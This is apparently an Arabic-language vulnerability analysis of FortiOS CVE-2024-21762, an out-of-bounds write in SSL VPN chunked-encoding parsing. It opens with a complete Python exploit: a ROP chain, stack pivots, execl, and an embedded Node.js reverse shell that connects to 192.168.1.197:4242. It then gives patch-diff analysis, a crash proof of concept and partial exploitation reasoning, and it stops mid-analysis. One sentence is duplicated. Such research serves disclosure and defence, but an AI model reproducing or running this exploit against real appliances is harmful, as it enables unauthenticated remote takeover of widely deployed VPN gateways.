
ثغرة كتابة خارج الحدود في Fortinet FortiOS CVE-2024-21762
ثغرة كتابة خارج النطاق في Fortinet FortiOS ثغرة CVE-2024-21762
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
call_execl = b"%80%c1%43%00%00%00%00%00"
bin_node = b"/bin/node%00"
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
form_value = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)
time.sleep(1)
ssock2 = make_sock(TARGET, PORT)
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"
ssock2.sendall(data)
أصدرت FortiGate تحديثًا للنسخة في فبراير، لإصلاح عدة ثغرات متوسطة وعالية الخطورة. إحدى الثغرات شديدة الخطورة هي ثغرة كتابة خارج النطاق غير مصرح بها في SSL VPN. ويذكر تحذير الثغرة أن هذه الثغرة قد تُستغل في البرية (in the wild). ستقدم هذه المقالة تحليل المؤلف لعملية استغلال هذه الثغرة لتحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE).

البيئة المستخدمة لتحليل الثغرة في هذه المقالة هي FGT_VM64-v7.4.2.F-build2571
بمقارنة ملفات النسخ المُصلحة (7.4.2 و 7.4.3)، أظهر التحليل أن كود الإصلاح يقع في الدالة sub_18F4980 (الإصدار 7.4.2).

بتحليل هذه الدالة، ليس من الصعب ملاحظة أن منطق هذه الدالة هو قراءة بيانات جسم طلب HTTP POST. وفي الوقت نفسه، يتم تحديد Transfer-Encoding وفقًا لترويسة الطلب سواء أكانت القراءة بتنسيق chunk أو بناءً على Content-Length. وفقًا لنتائج مقارنة مخطط تدفق التحكم (Control Flow Graph)، هناك تعديلان في الكود:
عند تحليل تنسيق chunk، يتم استدعاء ap_getline لقراءة طول الـ chunk والتحقق مما إذا كانت قيمة إرجاع ap_getline أكبر من 16. إذا كانت أكبر من 16، يعتبر طول chunk غير قانوني.

عند قراءة تذييل الـ chunk، يكون مصدر إزاحة كتابة \r\n هو إسناد line_off، قيمة line_off قبل الإصلاح كانت من *(_QWORD *)(a1 + 744)، وبعد الإصلاح تكون من قيمة إرجاع ap_getline.
بمتابعة التتبع للأمام، يمكن العثور على أن قيمة *(_QWORD *)(a1 + 744) هي طول حقل طول الـ chunk في أول تحقق.

بمتابعة التتبع للأمام، يمكن العثور على أن قيمة *(_QWORD *)(a1 + 744) هي طول حقل طول الـ chunk في أول تحقق.

في نفس الوقت، يمكن من خلال قراءة الكود معرفة أنه عندما تكون قيمة حقل طول الـ chunk تساوي 0 بعد فك الترميز السداسي العشري (hex decoding)، فإنه سيدخل في منطق قراءة تذييل الـ chunk.
بعد تحليل التصحيح، يمكننا استخلاص الاستنتاجات التالية:
ap_getline لقراءة تذييل الـ chunk، سيتم كتابة \r\n في المخزن المؤقت وفقًا لطول حقل طول الـ chunk.لذلك، إذا تم تمرير العديد من الأصفار في حقل طول الـ chunk، وكان طول الأصفار أكبر من نصف طول المخزن المؤقت المتبقي، سيتم تفعيل كتابة \r\n خارج النطاق. من خلال التصحيح، يمكننا معرفة أن المخزن المؤقت الهدف يقع على المكدس (الدالة sub_1A111E0)، ويتم تخزين عنوان الإرجاع عند الإزاحة 0x2028. إذا تمت كتابة \r\n عند الإزاحة 0x202e، فسيحدث انهيار بسبب عنوان غير قانوني عندما تعود الدالة لتنفيذ تعليمات استعادة rip.
PoC للانهيار:
pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked
%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")
ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)
مشهد الانهيار:

من خلال تحليل سبب الثغرة، يمكن ملاحظة أن الثغرة يمكن استخدامها لكتابة وحدتي بايت \r\n خارج النطاق على المكدس، والمدى خارج النطاق قريب من 0x2000. نظرًا لأن المحتوى المكتوب محدود جدًا، لا يمكن تحقيق RCE عن طريق اختطاف rip مباشرة. لذلك، تحتاج إلى التركيز على مؤشرات الذاكرة المحفوظة على المكدس.
ما يسهل التفكير فيه هو اختطاف rbp والكتابة فوق البايت المنخفض من rbp بحيث يشير rbp إلى منطقة ذاكرة قابلة للتحكم. عندما تعود الدالة ذات المستوى الأعلى لتنفيذ التعليمات، يمكن اختطاف rip بالكامل. ومع ذلك، أثناء التحقق، تبيّن أنه حتى إذا تمت الكتابة فوق rbp الموجود على المكدس، لا يمكن اختطاف rsp وrip، ولن ينهار البرنامج حتى. بمتابعة التتبع إلى الأعلى، نجد الدالة الأم sub_1A26040. هذه الدالة لا تستدعي leave وret لاستعادة rsp عند العودة من sub_1A111E0، بل تستخدم مباشرة add rsp, 0x18، لذلك لا يمكن تحقيق التأثير المتوقع.

كما رأينا في القسم السابق، تحفظ الدالة قيم السجلات الخمسة rbx وr12-r15 على المكدس، وتستعيد هذه السجلات عندما تعود الدالة. بمتابعة التتبع للخلف للعثور على الدالة الأم sub_1A27650، يمكنك رؤية أن ما يُحفظ في r13 هو بالضبط معامل a1 للدالة sub_1A26040.
a1 هو مؤشر بنية (structure). من خلال التصحيح، يمكننا أيضًا رؤية أن عنوانًا من الكومة (heap) محفوظ على المكدس في r13.
